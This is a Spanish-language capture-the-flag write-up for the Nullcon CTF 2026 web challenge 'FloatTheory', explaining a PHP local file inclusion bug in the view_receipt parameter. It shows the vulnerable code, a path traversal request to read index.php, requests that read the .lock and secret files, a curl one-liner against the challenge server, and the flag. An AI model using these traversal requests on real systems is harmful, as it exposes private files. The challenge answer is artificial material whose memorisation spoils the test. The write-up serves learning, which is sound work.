Datos del reto
| Campo | Valor |
|---|---|
| CTF | Nullcon CTF 2026 |
| Reto | FloatTheory (BillSplitter Lite) |
| Categoría | Web |
| Flag | ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd} |
Descripción del reto
"My friends and I built the BillSplitter Lite app to track our expenses and settle debts. It uses some extremely advanced math to make sure everyone pays exactly what they owe... Can you find the hidden administrative fee?"
Reconocimiento
La aplicación es un "BillSplitter" escrito en PHP 8.0.30 sobre Apache/2.4.56 (Debian). Permite:
- Agregar "amigos" con un nombre y un monto
- Calcular el total del grupo
- Ver "recibos" individuales con el parámetro
?view_receipt=
Pistas iniciales
- El placeholder del campo nombre dice "Filename" en lugar de "Name"
- La nota del sistema dice: "all of your data is stored in super secure files on our server"
- Se menciona una "secret administrative fee of 0.01"
- El "Vault Balance" siempre muestra 0.01000 incluso sin transacciones
Análisis de la vulnerabilidad
Paso 1: Leer el código fuente (LFI)
El parámetro view_receipt concatena directamente la entrada del usuario al path del directorio sin sanitización:
$target = $user_dir . $_GET['view_receipt'];
if (file_exists($target)) {
$lfi_content = file_get_contents($target);
}
Los archivos del usuario se almacenan en /var/www/html/users/{session_id}/, así que con path traversal ../../index.php se lee el código fuente:
GET /?view_receipt=../../index.php
Paso 2: Entender la lógica del flag
El código fuente revela:
- El flag se almacena en un archivo
secret_XXXXXXXXdentro del directorio de cada sesión - El nombre del archivo secreto se guarda en
.lock - Los archivos que contienen
secret_en su nombre se ocultan de la lista de transacciones, pero su valor (0.01) se suma al total - El parámetro
view_receipt(GET) NO se sanitiza en absoluto
Explotación
Paso 1: Leer el archivo .lock
GET /?view_receipt=.lock
Respuesta: secret_rCAlqyJl
Paso 2: Leer el archivo secreto
GET /?view_receipt=secret_rCAlqyJl
Respuesta:
0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
Solución en una línea
curl -sc /tmp/c http://52.59.124.14:5069/ -o /dev/null && \
SECRET=$(curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=.lock" | grep -oP 'secret_\w+') && \
curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=$SECRET" | grep -oP 'ENO\{[^}]+\}'
Flag
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
Nota: "floating point precision is not your friend" — guiño a los problemas de precisión de punto flotante y la "tarifa administrativa" de 0.01 que ocultaba el archivo con la flag.
Lecciones aprendidas
| Vulnerabilidad | Ubicación | Impacto |
|---|---|---|
| Local File Inclusion (LFI) | Parámetro view_receipt (GET) |
Lectura arbitraria de archivos |
| Information Disclosure | Archivo .lock legible |
Revela el nombre del archivo secreto |